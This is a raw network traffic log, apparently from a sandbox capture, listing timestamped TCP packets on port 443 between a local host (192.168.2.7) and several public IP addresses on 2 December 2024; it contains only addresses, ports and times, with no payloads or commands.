Dec 2, 2024 01:34:56.326060057 CET	443	49906	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.329768896 CET	49913	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.329823017 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.329893112 CET	49913	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.330105066 CET	49913	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.330117941 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.424007893 CET	443	49909	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.424463034 CET	49909	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.424500942 CET	443	49909	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.424923897 CET	49909	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.424930096 CET	443	49909	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.461371899 CET	443	49907	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.465159893 CET	443	49907	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.465228081 CET	49907	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.468409061 CET	49907	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.468436956 CET	443	49907	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.468451023 CET	49907	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.468456030 CET	443	49907	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.478279114 CET	49914	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.478321075 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.478398085 CET	49914	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.479290009 CET	49914	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.479302883 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.635030031 CET	443	49908	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.638423920 CET	443	49908	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.638479948 CET	49908	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.641087055 CET	49908	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.641108036 CET	443	49908	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.651776075 CET	49915	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.651830912 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.651901960 CET	49915	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.652348042 CET	49915	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.652363062 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.851841927 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:56.851907015 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:56.852009058 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:56.852360010 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:56.852375031 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:56.858237028 CET	443	49909	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.861722946 CET	443	49909	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.861922979 CET	49909	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.861922979 CET	49909	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.862024069 CET	49909	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.862042904 CET	443	49909	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.864459038 CET	49917	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.864521980 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:56.868499994 CET	49917	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.868499994 CET	49917	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:56.868537903 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:57.578877926 CET	443	49910	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:57.579375029 CET	49910	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:57.579402924 CET	443	49910	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:57.580074072 CET	49910	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:57.580080032 CET	443	49910	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:57.812540054 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:57.814677954 CET	49911	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:57.814702034 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:57.816884995 CET	49911	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:57.816890001 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:57.816909075 CET	49911	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:57.816916943 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.023444891 CET	443	49910	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.027407885 CET	443	49910	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.027462006 CET	49910	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.042006969 CET	49910	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.042042017 CET	443	49910	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.042057037 CET	49910	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.042062998 CET	443	49910	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.045523882 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.046878099 CET	49918	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.046931982 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.046988964 CET	49918	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.050079107 CET	49913	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.050100088 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.050182104 CET	49918	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.050215960 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.050539017 CET	49913	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.050544977 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.220056057 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.228612900 CET	49912	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.228655100 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.229413033 CET	49912	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.229424000 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.229454994 CET	49912	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.229468107 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.242187023 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.242729902 CET	49914	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.242752075 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.243182898 CET	49914	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.243187904 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.452537060 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.453253031 CET	49915	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.453274012 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.453927040 CET	49915	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.453936100 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.457325935 CET	443	49714	104.98.116.138	192.168.2.7
Dec 2, 2024 01:34:58.457392931 CET	49714	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:34:58.487488031 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.490665913 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.490739107 CET	49913	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.490844011 CET	49913	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.490844011 CET	49913	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.490864038 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.490873098 CET	443	49913	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.494421005 CET	49919	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.494472980 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.494532108 CET	49919	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.494828939 CET	49919	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.494843006 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.634591103 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.634618998 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.634664059 CET	49911	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.634696007 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.634711027 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.634747982 CET	49911	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.647586107 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.657516003 CET	49911	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.657552004 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.657567978 CET	49911	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.657574892 CET	443	49911	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.677253962 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.680622101 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.680715084 CET	49914	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.680998087 CET	49917	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.681021929 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.681602955 CET	49917	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.681608915 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.683038950 CET	49914	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.683038950 CET	49914	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.683063984 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.683074951 CET	443	49914	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.691961050 CET	49920	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.692002058 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.692078114 CET	49920	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.692260981 CET	49920	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.692279100 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.692976952 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.693018913 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.693084002 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.693207979 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.693218946 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.766803980 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:58.766896963 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:58.770339966 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:58.770360947 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:58.770620108 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:34:58.810673952 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:34:58.896646976 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.899868011 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.899993896 CET	49915	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.900284052 CET	49915	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.900284052 CET	49915	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.900304079 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.900316954 CET	443	49915	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.904026031 CET	49923	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.904072046 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.904652119 CET	49923	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.910397053 CET	49923	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:58.910423040 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:58.937560081 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.937583923 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.937616110 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.937678099 CET	49912	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.937712908 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.937757969 CET	49912	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.940023899 CET	49912	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.940023899 CET	49912	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.940054893 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.940268040 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.940298080 CET	443	49912	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.940493107 CET	49912	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.954479933 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.954526901 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:58.954843044 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.954843044 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:58.954879999 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:59.092508078 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:59.095978975 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:59.100560904 CET	49917	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:59.106544018 CET	49917	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:59.106565952 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:59.106576920 CET	49917	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:59.106584072 CET	443	49917	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:59.113287926 CET	49925	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:59.113347054 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:59.113446951 CET	49925	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:59.113718033 CET	49925	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:59.113737106 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:59.814259052 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:59.815114975 CET	49918	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:59.815145016 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:59.815713882 CET	49918	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:59.815720081 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.205993891 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.247335911 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.252301931 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.256786108 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.256840944 CET	49918	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.256901979 CET	49918	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.256922960 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.256946087 CET	49918	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.256952047 CET	443	49918	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.260248899 CET	49926	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.260294914 CET	443	49926	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.260397911 CET	49926	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.260562897 CET	49926	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.260575056 CET	443	49926	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.275473118 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.290719032 CET	49919	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.290750980 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.291668892 CET	49919	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.291673899 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.408209085 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.409496069 CET	49920	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.409528971 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.410018921 CET	49920	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.410027981 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.530057907 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:00.530518055 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:00.530536890 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:00.531316996 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:00.531321049 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:00.531371117 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:00.531378984 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:00.623878002 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.624743938 CET	49923	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.624785900 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.625215054 CET	49923	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.625224113 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.719583988 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.722780943 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.722934961 CET	49919	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.722990036 CET	49919	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.723011017 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.723021984 CET	49919	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.723027945 CET	443	49919	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.807019949 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.807063103 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.807070971 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.807084084 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.807117939 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.807121038 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.807158947 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.807173967 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.807173967 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.807199955 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.841613054 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.841666937 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.841686010 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.841707945 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.841721058 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.841722012 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.841766119 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.841905117 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.841926098 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.841936111 CET	49916	443	192.168.2.7	4.175.87.197
Dec 2, 2024 01:35:00.841942072 CET	443	49916	4.175.87.197	192.168.2.7
Dec 2, 2024 01:35:00.843780994 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.846909046 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.846951008 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.847004890 CET	49920	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.847069025 CET	49920	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.847086906 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.847100019 CET	49920	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.847106934 CET	443	49920	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.894402981 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.894871950 CET	49925	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.894916058 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.895330906 CET	49925	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:00.895335913 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:00.897866964 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:00.900974989 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:00.901006937 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:00.901601076 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:00.901607037 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:00.901699066 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:00.901709080 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.058332920 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.061697006 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.061754942 CET	49923	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.065196991 CET	49923	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.065221071 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.065244913 CET	49923	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.065252066 CET	443	49923	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.173985004 CET	49928	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174019098 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.174040079 CET	49929	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174073935 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.174096107 CET	49928	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174129009 CET	49929	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174221992 CET	49930	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174241066 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.174290895 CET	49930	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174464941 CET	49928	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174464941 CET	49930	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174479008 CET	443	49928	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.174494982 CET	443	49930	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.174557924 CET	49929	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.174571991 CET	443	49929	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.339160919 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.342351913 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.342408895 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.342479944 CET	49925	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.342781067 CET	49925	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.342799902 CET	443	49925	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.345347881 CET	49931	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.345387936 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.345488071 CET	49931	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.345643044 CET	49931	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:01.345654011 CET	443	49931	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:01.429502010 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.429557085 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.429593086 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.429615974 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.429636002 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.429652929 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.430120945 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.430130005 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.430181026 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.430304050 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.430340052 CET	443	49921	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.430411100 CET	49921	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.626300097 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.626323938 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.626352072 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.626398087 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.626425028 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.626437902 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.626437902 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.626480103 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.626801014 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.626816034 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.626827002 CET	49924	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.626832008 CET	443	49924	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.691188097 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.691245079 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:01.691633940 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.691875935 CET	49932	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:35:01.691893101 CET	443	49932	20.190.181.1	192.168.2.7
Dec 2, 2024 01:35:02.044786930 CET	443	49926	13.107.246.63	192.168.2.7
